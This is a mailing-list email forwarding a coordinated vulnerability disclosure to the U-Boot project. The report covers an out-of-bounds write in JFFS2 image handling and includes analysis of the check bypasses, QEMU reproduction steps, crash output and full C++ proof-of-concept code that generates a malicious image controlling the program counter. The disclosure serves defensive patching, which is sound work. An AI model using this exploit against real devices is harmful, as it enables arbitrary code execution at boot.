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[187.190.202.45]) by smtp.gmail.com with ESMTPSA id 586e51a60fabf-265771e5deesm454284fac.38.2024.07.25.15.46.40 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Thu, 25 Jul 2024 15:46:41 -0700 (PDT) Date: Thu, 25 Jul 2024 16:46:39 -0600 From: Tom Rini To: u-boot@lists.denx.de Subject: [zdi-disclosures@trendmicro.com: ZDI-CAN-24679: New Vulnerability Report] Message-ID: <20240725224639.GE989285@bill-the-cat> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="v9JJ4XFoL3Ra4iFT" Content-Disposition: inline X-Clacks-Overhead: GNU Terry Pratchett X-BeenThere: u-boot@lists.denx.de X-Mailman-Version: 2.1.39 Precedence: list List-Id: U-Boot discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: u-boot-bounces@lists.denx.de Sender: "U-Boot" X-Virus-Scanned: clamav-milter 0.103.8 at phobos.denx.de X-Virus-Status: Clean --v9JJ4XFoL3Ra4iFT Content-Type: multipart/mixed; boundary="SeBKNMHT+svZSLo1" Content-Disposition: inline --SeBKNMHT+svZSLo1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I'm re-sending this to the list as I think I might have inadvertently dropped it in the mailing list filters. ----- Forwarded message from "zdi-disclosures@trendmicro.com" ----- Date: Thu, 18 Jul 2024 20:04:42 +0000 =46rom: "zdi-disclosures@trendmicro.com" To: "u-boot@lists.denx.de" , "trini@konsulko.com" Subject: ZDI-CAN-24679: New Vulnerability Report The attachment could not be scanned for viruses because it is a password pr= otected file. ZDI-CAN-24679: Das U-Boot JFFS2 Image Handling Out-Of-Bounds Write Local Pr= ivilege Escalation Vulnerability -- CVSS ----------------------------------------- 8.2: AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H -- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting = the following products: Das U-Boot - Das U-Boot -- VULNERABILITY DETAILS ------------------------ * Version tested: 2024.07-rc4 * Installer file: N/A * Platform tested: QEMU --- ### Analysis Das U-Boot versions from 2002_11_05_0120 to v2024.07-rc4 are vulnerable to = an arbitrary code execution attack. This vulnerability exists due to an unc= hecked memcpy function used when processing a JFFS2 filesystem image. An at= tacker could exploit this by crafting a malicious JFFS2 image that tricks m= emcpy into overwriting memory at an arbitrary offset with malicious code. T= his could result in the attacker executing arbitrary code on the system or = causing other memory corruption issues. The parsing of JFFS2 filesystem in Das U-Boot is handled by the `jffs2_1pas= s_read_inode()` function defined in `fs/jffs2/jffs2_1pass.c`. ( https://git= hub.com/qemu/u-boot/blob/master/fs/jffs2/jffs2_1pass.c ) At line 777 of this file, there is a statement for memory copy: ``` ldr_memcpy(lDest, src, jNode->dsize); ``` The first two arguments for memcpy are assigned as: At line 770: `lDest =3D (uchar *) (dest + jNode->offset);` At line 755 and 756: `src =3D ((uchar *)jNode) + sizeof(struct jffs2_raw_in= ode);` As shown above, the source, destination, and size of the memcpy are control= led by an attacker and its following content, and Das U-boot does not prope= rly check these arguments. Although Das U-Boot does have some checks on the content of inodes, these c= hecks can be easily bypassed: At line 758, it checks if `JNode->offset > totalSize`, but totalSize is ass= igned as totalSize =3D jNode->isize at line 714. Therefore, this check can = be bypassed by setting `JNode->isize` to 0xFFFFFFFF. At lines 763, it also checks the CRC, but this check can be bypassed by set= ting both `JNode->csize` and `JNode->data_crc` to 0. ### Proof of Concept To prove the concept, we created a small program that generates a specially= crafted JFFS2 filesystem image. We then used QEMU to demonstrate the poten= tial risk of this vulnerability. The Das U-Boot, when reading the specially= crafted filesystem image, writes content given by us to a memory location = specified by us, causing the system to crash. We have tested this in Ubuntu= 14.04. Follow the following instructions to set up the environment and con= duct the PoC test. - Install QEMU for MINI2440: ``` sudo apt-get install git git-core cd ~ mkdir mini2440_qemu/ cd mini2440_qemu git clone git://repo.or.cz/qemu/mini2440.git qemu cd qemu =2E/configure --target-list=3Darm-softmmu --prefix=3D$HOME/workspace/mini24= 40_qemu/qemu/mini2440 make make install export PATH=3D$HOME/workspace/mini2440_qemu/qemu/mini2440/bin:$PATH git clone https://github.com/WeitaoZhu/mini2440-buildroot.git cd mini2440-buildroot make mini2440_defconfig make menuconfig ``` - Modify Filesystem images to NAND flash with 512B Page and 16 kB erasesize ``` make -j4 cd ~ git clone https://github.com/cailiwei/flashimg cd flashimg =2E/autogen.sh =2E/configure make cp ~/workspace/mini2440_qemu/mini2440-buildroot/output/images/u-boot.bin ~/= flashimg g++ poc.cpp -o poc =2E/poc echo -e "root\t0x4000\t0x00000000">part.txt =2E/flashimg -s 64M -t nand -f nand.bin -p part.txt -w root,test -z 512 qemu-system-arm -M mini2440 -serial stdio -mtdblock nand.bin -usbdevice mou= se ``` - In QEMU, type the following commands: ``` fsload ls go 0x32700000 ``` - The output should look like the following ``` MINI2440 # fsload ### JFFS2 loading 'uImage' to 0x32000000 Scanning JFFS2 FS: . done. load: Failed to read inode ### JFFS2 LOAD ERROR<0> for uImage! MINI2440 # go 0x32700000 ## Starting application at 0x32700000 ... qemu: fatal: Trying to execute code outside RAM or ROM at 0x12345678 R00=3D00000001 R01=3D33d5fb70 R02=3D00000041 R03=3D00000006 R04=3D33d5fb70 R05=3D00000002 R06=3D32700000 R07=3D00000000 R08=3D33d5ffdc R09=3D00000001 R10=3D00000000 R11=3D33d5fbfd R12=3D00000020 R13=3D33d5fb4c R14=3D33f8c4e8 R15=3D12345678 PSR=3D600001d3 -ZC- A svc32 Aborted (core dumped) ``` Note: R15 is $pc and it has been modified to 0x12345678 poc.cpp: ```c #include #include #include #include #include #include #include using namespace std; #define JFFS2_MAGIC_BITMASK 0x1985 #define JFFS2_NODE_ACCURATE 0x2000 #define JFFS2_FEATURE_INCOMPAT 0xC000 #define JFFS2_FEATURE_RWCOMPAT_DELETE 0x0000 #define JFFS2_NODETYPE_DIRENT (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURAT= E | 1) #define JFFS2_NODETYPE_INODE (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE= | 2) #define JFFS2_NODETYPE_CLEANMARKER (JFFS2_FEATURE_RWCOMPAT_DELETE | JFFS2_= NODE_ACCURATE | 3) enum { DT_UNKNOWN =3D 0, # define DT_UNKNOWN DT_UNKNOWN DT_FIFO =3D 1, # define DT_FIFO DT_FIFO DT_CHR =3D 2, # define DT_CHR DT_CHR DT_DIR =3D 4, # define DT_DIR DT_DIR DT_BLK =3D 6, # define DT_BLK DT_BLK DT_REG =3D 8, # define DT_REG DT_REG DT_LNK =3D 10, # define DT_LNK DT_LNK DT_SOCK =3D 12, # define DT_SOCK DT_SOCK DT_WHT =3D 14 # define DT_WHT DT_WHT }; uint32_t crc32(unsigned char* ptr,uint32_t Size) { uint32_t crcTable[256],crcTmp1; for (int i=3D0; i<256; i++) { crcTmp1 =3D i; for (int j=3D8; j>0; j--) { if (crcTmp1&1) crcTmp1 =3D (crcTmp1 >> 1) ^ 0xEDB88320L; else crcTmp1 >>=3D 1; } crcTable[i] =3D crcTmp1; } int32_t crcTmp2=3D 0; while(Size--) { crcTmp2 =3D ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & = 0xFF ]; ptr++; } return (crcTmp2^0xFFFFFFFF)^0xFFFFFFFF; } struct Jffs2_unknown_node { int16_t magic; int16_t nodetype; int32_t totlen; int32_t hdr_crc; }; struct Jffs2_raw_dirent { int16_t magic; int16_t nodetype; int32_t totlen; int32_t hdr_crc; int32_t pino; int32_t version; int32_t ino; int32_t mctime; int8_t nsize; int8_t type; int8_t unused[2]; int32_t node_crc; int32_t name_crc; }; struct Jffs2_raw_inode { int16_t magic; int16_t nodetype; int32_t totlen; int32_t hdr_crc; int32_t ino; int32_t version; int32_t mode; int16_t uid; int16_t gid; int32_t isize; int32_t atime; int32_t mtime; int32_t ctime; int32_t offset; int32_t csize; int32_t dsize; int8_t compr; int8_t usercompr; int16_t flags; int32_t data_crc; int32_t node_crc; }; int main(void) { //PAYLOAD CONFIG char TARGET_FILENAME []=3D "uImage"; uint32_t TARGET_OFFSET =3D 0x700000; uint32_t TARGET_LENGTH =3D 0x8; unsigned char PAYLOAD[]=3D "\x04\xf0\x1f\xe5\x78\x56\x34\x12"; //ld= r $pc,0x12345678 // FILE *fp =3D fopen("poc.jffs2","wb"); uint16_t padding =3D 0xFFFF; Jffs2_unknown_node node; node.magic =3D JFFS2_MAGIC_BITMASK; node.nodetype =3D JFFS2_NODETYPE_CLEANMARKER; node.totlen =3D sizeof(node); node.hdr_crc =3D crc32((unsigned char*)&node,sizeof(Jffs2_unknown_n= ode)-4); fwrite(&node,1,sizeof(node),fp); Jffs2_raw_dirent dirent; dirent.magic =3D JFFS2_MAGIC_BITMASK; dirent.nodetype =3D JFFS2_NODETYPE_DIRENT; dirent.totlen =3D sizeof(dirent)+strlen(TARGET_FILENAME); dirent.hdr_crc =3D crc32((unsigned char*)&dirent,sizeof(Jffs2_unkno= wn_node)-4); dirent.pino =3D 1; dirent.version =3D 0; dirent.ino =3D 2; dirent.mctime =3D 0; dirent.nsize =3D strlen(TARGET_FILENAME); dirent.type =3D DT_REG; dirent.unused[0] =3D 0; dirent.unused[1] =3D 0; dirent.mctime =3D 0; dirent.node_crc =3D crc32((unsigned char*)&dirent,sizeof(Jffs2_raw_= dirent)-8); dirent.name_crc =3D crc32((unsigned char*)TARGET_FILENAME,strlen(TA= RGET_FILENAME)); fwrite(&dirent,1,sizeof(dirent),fp); fwrite(TARGET_FILENAME,1,strlen(TARGET_FILENAME),fp); fwrite(&padding,1,sizeof(padding),fp); Jffs2_raw_inode inode; inode.magic =3D JFFS2_MAGIC_BITMASK; inode.nodetype =3D JFFS2_NODETYPE_INODE; inode.totlen =3D sizeof(inode)+sizeof(PAYLOAD)-1; inode.hdr_crc =3D crc32((unsigned char*)&inode,sizeof(Jffs2_unknown= _node)-4); inode.ino =3D 2; inode.version =3D 1; inode.mode =3D 0x81A4; inode.uid =3D 0; inode.gid =3D 0; inode.isize =3D 0xFFFFFFFF; //bypass size limit inode.atime =3D 0; inode.mtime =3D 0; inode.ctime =3D 0; inode.offset =3D TARGET_OFFSET; inode.csize =3D 0; //bypass crc32 check inode.dsize =3D TARGET_LENGTH; inode.compr =3D 0; inode.usercompr =3D 0; inode.flags =3D 0; inode.data_crc =3D 0; //bypass crc32 check inode.node_crc =3D crc32((unsigned char*)&inode,sizeof(Jffs2_raw_in= ode)-8); fwrite(&inode,1,sizeof(inode),fp); fwrite(&PAYLOAD,1,sizeof(PAYLOAD)-1,fp); fwrite(&padding,1,sizeof(padding),fp); fclose(fp); return 0; } ``` -- CREDIT --------------------------------------- This vulnerability was discovered by: Aaron Luo and Spencer Hsieh of VicOne -- FURTHER DETAILS ------------------------------ Supporting files: If supporting files were contained with this report they are provided withi= n a password protected ZIP file. The password is the ZDI candidate number i= n the form: ZDI-CAN-XXXX where XXXX is the ID number. Please confirm receipt of this report. We expect all vendors to remediate Z= DI vulnerabilities within 120 days of the reported date. If you are ready t= o release a patch at any point leading up to the deadline, please coordinat= e with us so that we may release our advisory detailing the issue. If the 1= 20-day deadline is reached and no patch has been made available we will rel= ease a limited public advisory with our own mitigations, so that the public= can protect themselves in the absence of a patch. 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